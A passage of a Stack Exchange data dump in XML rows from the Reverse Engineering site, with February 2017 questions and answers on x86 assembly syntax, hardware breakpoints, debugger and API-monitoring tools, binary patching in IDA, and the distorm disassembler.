  <row Id="14650" PostTypeId="1" AcceptedAnswerId="14663" CreationDate="2017-02-14T03:45:02.390" Score="1" ViewCount="460" Body="&lt;p&gt;For the following example, using x86 code in AT&amp;amp;T format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor $0x20, (%eax) &#xA;and $0x20, %ah &#xA;or $0x20, %dh &#xA;dec (%edi) &#xA;dec %si&#xA;dec %sp&#xA;dec %bp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My understanding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Line 1: takes value in %eax and does an XOR operation with 0x20&#xA;&#xA;Line 2: takes value in %ah and dies an AND operation with 0x20&#xA;&#xA;Line 3:  takes value in %dh and does an OR operation with 0x20.&#xA;&#xA;Line 4: decrements value in %edi by 1&#xA;&#xA;Line 5: decrements value in %si by 1&#xA;&#xA;Line 6: decrements value in %sp by 1&#xA;&#xA;Line 7: decrements value in %bp by 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Questions: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What happens to the result after each step of code has been run?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Does the order of the operands matter? If yes why?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How do you construct some equivalent code (e.g. decompile into c++) from this assembly code?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is not a homework question - I am new to assembly.&#xA;Example code is not from actual code - it's to help me get a better understanding &amp;amp; illustrate my questions. &lt;/p&gt;&#xA;" OwnerUserId="12160" LastEditorUserId="12160" LastEditDate="2017-02-18T01:20:27.370" LastActivityDate="2017-02-18T01:20:27.370" Title="3 questions on assembly - syntax, meaning, and equivalent in high level code (eg C++)" Tags="|assembly|decompilation|binary|" AnswerCount="2" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="14652" PostTypeId="2" ParentId="14648" CreationDate="2017-02-14T10:40:33.647" Score="2" Body="&lt;p&gt;The various bits in the &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_debug_register#DR7_-_Debug_control&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;DR7&lt;/code&gt;&lt;/a&gt; (debug control) register determines the applicability of the hardware breakpoint in question. Such breakpoints can be local or global. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Global breakpoint, as its name suggests affects all tasks. Local breakpoint are specific to the currently executing task. For the Intel Architecture, &lt;em&gt;local breakpoint enable flag&lt;/em&gt; bits in the DR7 are cleared on every task switch. Global breakpoint are preserved on task switches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Windows, you can only set local hardware breakpoints from user mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, as per intel documentation local hardware breakpoints are cleared on task switch. So how does local hardware breakpoints work ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hardware breakpoints work and fire on the correct process because Windows does not use the &lt;a href=&quot;https://en.wikipedia.org/wiki/Context_switch#Hardware_vs._software&quot; rel=&quot;nofollow noreferrer&quot;&gt;hardware task state switching&lt;/a&gt; machinery available in the processor. Windows has its own mechanism for context switch. During a context switch, the kernel creates a special structure called the &lt;a href=&quot;http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/ktrap_frame.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;TRAP_FRAME&lt;/code&gt;&lt;/a&gt; to store information about the debug registers along with other things. The &lt;code&gt;TRAP_FRAME&lt;/code&gt; is a part of the thread's complete context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the thread is re-scheduled for execution, Windows restores the saved context and with this hardware breakpoints are restored too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence, the processor can never distinguish between a local hardware breakpoint in Process A and Process B. All it sees is a single task executing on each processor. The responsibility of restoring local hardware breakpoints across various processes lies with Windows. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Replies to the comments&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) On Windows, hardware breakpoints are thread specific. This means if you set a hwbp on an address from a particular thread, the breakpoint will only be triggered when the thread executes/reads/writes that particular address. &lt;strong&gt;HWBP are never process wide&lt;/strong&gt;. Hence, thread2 will never break for a hwbp set from thread1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) The situation is same for Linux. However, it is most likely different for iOS as it runs on a different architecture i.e ARM and not x86.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2017-02-14T15:45:29.783" LastActivityDate="2017-02-14T15:45:29.783" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14653" PostTypeId="2" ParentId="14638" CreationDate="2017-02-14T12:02:44.610" Score="0" Body="&lt;p&gt;I solved it by using updated version of OllyDbg =&gt; OllyDbg 2.01&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found another reference that provides another way to solve such problem in the future:&lt;br&gt;&#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2019/debugging-malware-that-will-only-run-as-a-service&quot;&gt;Debugging malware that will only run as a service&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18080" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2017-02-14T12:02:44.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14654" PostTypeId="2" ParentId="14649" CreationDate="2017-02-14T13:36:48.857" Score="2" Body="&lt;p&gt;The answer to this question is that IDA provides the exact same option :&#xA;Open the segment view subwindow and set a breakpoint on a memory region.&#xA;Whenever non-library code (thanks to a comment on question for rephrasing with more accuracy what i meant) is hit, the debugger will break. Very usefull for instance for resuming after user input or IPC WM_COPYDATA procedure calls.&lt;/p&gt;&#xA;" OwnerUserId="19145" LastActivityDate="2017-02-14T13:36:48.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14655" PostTypeId="2" ParentId="14644" CreationDate="2017-02-14T13:56:28.263" Score="1" Body="&lt;p&gt;Its the same for everything you edit in IDA:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Patch the .so opcodes (assuming its ELF ARM?) via hex view&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once happy with the patches, go to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit --&gt; Patch Program --&gt; Apply patches to input file (Select create backup just in case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure Start EA and End EA are correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click OK&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repack your APK to include the new .so file.&lt;/p&gt;&#xA;" OwnerUserId="3744" LastActivityDate="2017-02-14T13:56:28.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14656" PostTypeId="2" ParentId="14636" CreationDate="2017-02-14T17:59:23.610" Score="1" Body="&lt;p&gt;Since there is no standard NVRAM  format, you will need to find whatever code reads and/or writes it and analyze how it works. If the maker provides GPL source code, maybe some details can be gleaned from it. However, in some cases the format may be obvious by just looking at the data with a hex editor/viewer, e.g. see &lt;a href=&quot;https://hackernoon.com/reverse-engineering-visual-novels-101-d0bc3bf7ab8&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blog&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-02-14T17:59:23.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14657" PostTypeId="1" AcceptedAnswerId="14658" CreationDate="2017-02-14T19:52:57.687" Score="1" ViewCount="10422" Body="&lt;p&gt;I'm new to reverse engineering, I want to find out which command in the Source2 Engine's console invokes which function (and in which DLL). For that, I was wondering how can I know:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;which functions are called from which DLL in runtime.&lt;/li&gt;&#xA;&lt;li&gt;Is there a debugger that lets me know what code was executed between two timestamps?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="19152" LastEditorUserId="2147" LastEditDate="2017-02-14T22:21:09.280" LastActivityDate="2021-12-05T10:40:31.377" Title="Can I know which function from which dll was called at runtime?" Tags="|dll|functions|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14658" PostTypeId="2" ParentId="14657" CreationDate="2017-02-14T21:14:22.233" Score="3" Body="&lt;p&gt;Looks like you're looking for process monitoring tools. Those are tools that use techniques like &lt;a href=&quot;https://en.wikipedia.org/wiki/Hooking&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hooking&lt;/a&gt; (and similar) to generate a runtime list of APIs or events caused by the monitored process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I would like to recommend the set of tools coming with &lt;a href=&quot;https://technet.microsoft.com/en-us/sysinternals/bb842062.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Microsoft's Sysinternals suite&lt;/a&gt;. Specifically, &lt;a href=&quot;https://technet.microsoft.com/en-us/sysinternals/processmonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process Monitor&lt;/a&gt;, which is a tool that monitors file, network, registry and process manipulation events. It has several filtering abilities and is generally pretty nice and very well known. The sysinternals suite includes many other relevant tools, and you should definitely get comfortable with it if you're interested in reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, personally I'm a huge fan of &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rohitab's API Monitor&lt;/a&gt;. It has multiple API hooking engines and collects full information of each API. It has extensive filtering but might be a bit overwhelming at first if many APIs are selected for monitoring. It's a great place to start investigating a piece of software!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although both tools are extremely helpful, they won't be able to log internal functions, such as functions inside the main executable or accompanying dlls. Or any function that the tool isn't familiar with before hand. This is because in order for API hooking to work, you generally need:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The function should be exportable from an executable and &lt;/li&gt;&#xA;&lt;li&gt;The API hooking code should be familiar with the parameters the function accepts. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It appears you indeed need a debugger for this task, if you're after logging internal calls. Most good reverse engineering debuggers (such as  ollydbg and x64dbg) come with functionality to trace and log all function calls. This might be a good start.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-02-14T22:29:38.130" LastActivityDate="2017-02-14T22:29:38.130" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14659" PostTypeId="2" ParentId="3074" CreationDate="2017-02-15T10:46:20.107" Score="3" Body="&lt;p&gt;I know this question is old, but for future reference. You can download DOSBOX Debug version. It will give you a nice debug window where you can stem trough the assembler code. just run debug.exe program.exe og press alt+pause when the application is running. You need to know assembler to understand the output, but it is a very strong utility to look trough a programs code.&lt;/p&gt;&#xA;" OwnerUserId="19161" LastActivityDate="2017-02-15T10:46:20.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14660" PostTypeId="2" ParentId="14142" CreationDate="2017-02-15T16:46:10.953" Score="1" Body="&lt;p&gt;I don't know about this particular device, so I'll answer with generalities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the device is running Android, it's unlikely you'll be able to use the software update mechanism to upload your own version on it (the update image is very likely signed by the manufacturer, though the Android OTA system should be documented enough for you to be able to wipe up your own server that will serve it your Android update image).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going from there, there are several ways to achieve what you want, but first, you will have to find a way to flash the device with a new image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You said you found a Serial line. What does the line display on boot? Is it using Uboot or another bootloader? Is there a way to interrupt the boot, and if so there may be a way to flash a new image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The connector you found may be a JTAG connector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, recto/verso picture of the board always help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the image itself, the SDK that was leaked may be a good starting point. Try to download it and compile the version for the correspond processor in your machine. See if it works or where it fails, and go from there to debug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to check if this processor is supported by the Linux mainline kernel. It looks like the manufacturer allows you to download the kernel sources used. This also would be a starting point to create your own image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure this helps, but I hope it does a bit!&lt;/p&gt;&#xA;" OwnerUserId="19163" LastActivityDate="2017-02-15T16:46:10.953" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14661" PostTypeId="1" CreationDate="2017-02-15T16:53:03.533" Score="2" ViewCount="117" Body="&lt;p&gt;Let's say i have a program.In this program i have a variable named &lt;strong&gt;PacketSize&lt;/strong&gt; of type &lt;strong&gt;Short&lt;/strong&gt;.I want to change the variable's type to &lt;strong&gt;Int&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if i am able to locate this variable's location in the memory while running the program , how can i use this to accomplish my aim or is it done by another way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;*The application is a client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*The variable is for the tcp packet's length which is sent in the packet header by the server to the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*I would guess that it's either a part of a structure (Maybe PacketHeader) or a stack one.&lt;/p&gt;&#xA;" OwnerUserId="8277" LastEditorUserId="8277" LastEditDate="2017-02-17T13:40:02.857" LastActivityDate="2017-02-17T13:40:02.857" Title="Patching a variable's type in an executable file" Tags="|c++|pe|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14662" PostTypeId="2" ParentId="14636" CreationDate="2017-02-15T22:01:27.223" Score="0" Body="&lt;p&gt;I've solved this myself. NVRAM mtd7 partition is &lt;code&gt;jffs2&lt;/code&gt; filesystem, I successfully extracted content using JFFS2 filesystem extraction tool.&lt;/p&gt;&#xA;" OwnerUserId="39817" LastActivityDate="2017-02-15T22:01:27.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14663" PostTypeId="2" ParentId="14650" CreationDate="2017-02-16T04:27:12.130" Score="3" Body="&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: this answer corresponds to the &lt;a href=&quot;https://reverseengineering.stackexchange.com/revisions/14650/5&quot;&gt;original question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to assembly as well so I can see where you are coming from. With that being said, there seem to be quite a few issues with the contrived code that you have posted. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does the order of the operands matter? If yes why?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are two different styles of human-readable mnemonics used to represent CPU instruction codes: AT&amp;amp;T and Intel. While the order the operands are shown in is different between Intel and AT&amp;amp;T syntax, the order of instruction code bytes in memory is constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Intel syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;08048074 &amp;lt;main&amp;gt;:&#xA; 8048074:       55                      push   ebp&#xA; 8048075:       89 e5                   mov    ebp,esp&#xA; 8048077:       b8 00 00 00 00          mov    eax,0x0&#xA; 804807c:       5d                      pop    ebp&#xA; 804807d:       c3                      ret    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;AT&amp;amp;T syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;08048074 &amp;lt;main&amp;gt;:&#xA; 8048074:       55                      push   %ebp&#xA; 8048075:       89 e5                   mov    %esp,%ebp&#xA; 8048077:       b8 00 00 00 00          mov    $0x0,%eax&#xA; 804807c:       5d                      pop    %ebp&#xA; 804807d:       c3                      ret  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The (little-endian) byte sequence &lt;code&gt;89 e5&lt;/code&gt; is represented as &lt;code&gt;mov ebp,esp&lt;/code&gt; in Intel syntax and as &lt;code&gt;mov %esp,%ebp&lt;/code&gt; in AT&amp;amp;T syntax. Though the mnemonic representations of the operands are opposite of each other, they represent the same byte sequence. The order of the opcode mnemonics matters in that it is determined by the syntax used to represent the instruction codes.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The code&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What happens to the result after each step of code has been run?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Every line of the code posted in the question except the last contains at least one illegal operand so only that line could feasibly run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AT&amp;amp;T syntax is assumed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x2000: cs cs cs&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;%cs&lt;/code&gt; is a &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2006/how-are-the-segment-registers-fs-gs-cs-ss-ds-es-used-in-linux&quot;&gt;segment register&lt;/a&gt; and, being a &lt;a href=&quot;http://flint.cs.yale.edu/cs421/papers/x86-asm/asm.html#registers&quot; rel=&quot;nofollow noreferrer&quot;&gt;register&lt;/a&gt;, must be prefixed with the &lt;code&gt;%&lt;/code&gt; symbol. There are 3 operands here that are all the same register and no instruction. This is illegal. I am not sure what you envisioned would happen here.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x2001: xor x20,(eax)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;x20&lt;/code&gt; is an illegal operand. Constants are &lt;a href=&quot;http://flint.cs.yale.edu/cs421/papers/x86-asm/asm.html#instructions&quot; rel=&quot;nofollow noreferrer&quot;&gt;immediate&lt;/a&gt; operands which must be prefixed with the &lt;code&gt;$&lt;/code&gt; symbol, so this operand should be &lt;code&gt;$0x20&lt;/code&gt;. &lt;code&gt;%eax&lt;/code&gt; is a register, hence the &lt;code&gt;%&lt;/code&gt; prefix is required. &lt;code&gt;(eax)&lt;/code&gt; should instead be &lt;code&gt;(%eax)&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x2002: and x20,%ah&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;x20&lt;/code&gt; should be &lt;code&gt;$0x20&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x2003: or x20, %dh&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;x20&lt;/code&gt; should be &lt;code&gt;$0x20&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x2004: dec (ebi)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;ebi&lt;/code&gt; looks like it is supposed to be a register. Did you mean &lt;code&gt;%edi&lt;/code&gt; or &lt;code&gt;%ebx&lt;/code&gt;? Either way, it lacks the &lt;code&gt;%&lt;/code&gt; prefix&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x2005: dec %si&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;code&gt;dec&lt;/code&gt; instruction decrements the contents of its operand by one. So the value stored in &lt;code&gt;%si&lt;/code&gt; will be decremented.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Fixed up, the code would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor $0x20, (%eax)&#xA;and $0x20, %ah&#xA;or  $0x20, %dh&#xA;dec (%edi)&#xA;dec %si&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How do you construct some equivalent code (e.g. c++) from this assembly code?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Assuming that the corrected code is actually correct, someone with sufficient understanding could simply look at this snippet and create a roughly equivalent statement or sequence of statements in a high level language. For mere mortals, there are tools called decompilers.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Resources&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://download-mirror.savannah.gnu.org/releases/pgubook/ProgrammingGroundUp-1-0-booksize.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Programming from the Ground Up&lt;/a&gt; by Jonathan Bartlett and&#xA;&quot;Professional Assembly Language&quot; by Richard Blum are pretty good IMO. A more technical resource is the &lt;a href=&quot;https://refspecs.linuxfoundation.org/elf/abi386-4.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;System V Application Binary Interface Intel386 Architecture Processor Supplement&lt;/a&gt;, which sheds light on some of the mysteries of the processor and virtual memory. &lt;a href=&quot;https://stackoverflow.com/tags/x86/info&quot;&gt;SO's x86 wiki&lt;/a&gt; has a list of many resources. Of course, there are also the &lt;a href=&quot;https://software.intel.com/en-us/articles/intel-sdm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel manuals&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2017-02-16T15:28:04.357" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14664" PostTypeId="2" ParentId="14650" CreationDate="2017-02-16T07:02:59.837" Score="1" Body="&lt;p&gt;To answer your third question, from a computer science aspect c++ or any other highlevel language that isn't one to one mnemonic map of machine opcodes; soul purpose is to mitigate complexity. That being said c++ we can infer isn't or shouldn't be a 1 to 1 map to assembly. Some c syntax can't be exactly mapped. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example a jump statement progresses the code to any other byte. So a jump can act like a conditional branch or a function call, etc. All very different statements in c++ yet they use the key part, jump instruction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think a better approach would be to ask how a c++ basic statements compile to assembly. If you understand and know thoughs it then is a simple thing to find those blocks in assembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;note&lt;/strong&gt; In modern setting most high level languages don't compile to x86 assembly but byte code or some operating specific format, often not far from assembly, however different enough that it requires the operating system to run. This is to abstract the underlying hardware so software doesn't have to get recompiled.&lt;/p&gt;&#xA;" OwnerUserId="15104" LastEditorUserId="15104" LastEditDate="2017-02-16T07:10:17.690" LastActivityDate="2017-02-16T07:10:17.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14665" PostTypeId="1" AcceptedAnswerId="14666" CreationDate="2017-02-16T07:13:18.900" Score="5" ViewCount="1149" Body="&lt;p&gt;In &lt;a href=&quot;http://web.uvic.ca/~salam/PhD/Alam_Shahid_PhD_2014.pdf&quot; rel=&quot;noreferrer&quot;&gt;Alam&lt;/a&gt; you can find the classical differentiation between disassemblers. The author explains in general the two well known types of disassemblers:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;The &lt;strong&gt;Linear Sweep&lt;/strong&gt; technique starts from the first byte of the code and disassembles one instruction at a time until the end. [...]&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;The &lt;strong&gt;Recursive Traversal&lt;/strong&gt; technique relies on the control flow of the program and decodes the bytes by following the control flow of the&#xA;  program. [...]&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Afterwards, the author introduces &lt;a href=&quot;https://github.com/gdabah/distorm/wiki&quot; rel=&quot;noreferrer&quot;&gt;distorm&lt;/a&gt; and he makes the following statement:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Both techniques have some deficiencies. To overcome these deficiencies&#xA;  &lt;strong&gt;a good disassembler would combine both techniques&lt;/strong&gt;. One such open&#xA;  source disassembler, for non-commercial use, is distorm.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After reading the docs of &lt;a href=&quot;https://github.com/gdabah/distorm/wiki&quot; rel=&quot;noreferrer&quot;&gt;distorm&lt;/a&gt;, I'm not able to confirm this last statement. In my opinion, distorm seems to work like a classic Linear-Sweep version, and also will struggle with fake instructions and obfuscation (see &lt;a href=&quot;https://github.com/gdabah/distorm/wiki&quot; rel=&quot;noreferrer&quot;&gt;1&lt;/a&gt;). It calls itself &quot;stream disassembler&quot;, where I was not able to fully clarify this expression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;With these facts, I have two questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is distorm really a combination of linear sweep and recursive&#xA;traversal as mentioned by the author?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What is your formal understanding of a &quot;stream disassembler&quot;?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://web.uvic.ca/~salam/PhD/Alam_Shahid_PhD_2014.pdf&quot; rel=&quot;noreferrer&quot;&gt;0&lt;/a&gt; Page 47 in Alam, Shahid, et al. &quot;A framework for metamorphic malware analysis and real-time detection.&quot; computers &amp;amp; security 48 (2015): 212-233.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/gdabah/distorm/wiki&quot; rel=&quot;noreferrer&quot;&gt;1&lt;/a&gt; &lt;a href=&quot;https://github.com/gdabah/distorm/wiki/StreamDisassembler&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/gdabah/distorm/wiki/StreamDisassembler&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15907" LastEditorUserId="2147" LastEditDate="2017-02-16T17:27:19.973" LastActivityDate="2017-02-16T17:27:19.973" Title="What type of disassembler is distorm?" Tags="|disassemblers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14666" PostTypeId="2" ParentId="14665" CreationDate="2017-02-16T07:21:12.180" Score="7" Body="&lt;p&gt;DiStorm does &lt;strong&gt;not&lt;/strong&gt; implement recursive traversal, however you can use distorm (or others, e.g. capstone) to implement your own recursive traversal algortihm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a range of tools available doing something like this for you: IDA, BinaryNinja, JakStab (claims 'Iterative Disassembly') etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since retrieving the ControlFlowGraph is a hard problem, people tend to separate between the translation from machine code to assembler and the useage of those frameworks to retrieve the actual control flow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cite from &lt;a href=&quot;https://github.com/gdabah/distorm/wiki/FlowControlSupport&quot; rel=&quot;noreferrer&quot;&gt;diStorms Github:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is the time to say that diStorm, as a stream disassembler, doesn't do the flow control analysis work for you, but it will help you do that more easily.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Disassemblers try to help by indicating which instructions may change the control flow and supplying direct targets, but implementing control flow recovery is non-trivial due to indriect jumps and anti-disassembler techniques.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the second part of the question: It disassembles a given stream of bytes (buffer object). That doesn't seem any different from any disassembler out there.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-02-16T07:21:12.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14667" PostTypeId="2" ParentId="14657" CreationDate="2017-02-16T11:29:58.543" Score="0" Body="&lt;p&gt;This isn't an exact match but a while back I wrote this &lt;a href=&quot;https://github.com/marshalcraft/CheapoDllDependencyTool/blob/master/CheapoDllDependencyTool/bin/Debug/CheapoDllDependencyTool.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/marshalcraft/CheapoDllDependencyTool/blob/master/CheapoDllDependencyTool/bin/Debug/CheapoDllDependencyTool.exe&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's on my GitHub and will list the first generation of dependent DLL's provided an executable or dll. It's pretty basic and can't remember if I list functions or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have to be much better implementations than mine I bet but this minimally works for things like seeing if web browser relies in ws2 WinSock or other things when you want to get an idea of what apis to use to do something.&lt;/p&gt;&#xA;" OwnerUserId="15104" LastActivityDate="2017-02-16T11:29:58.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
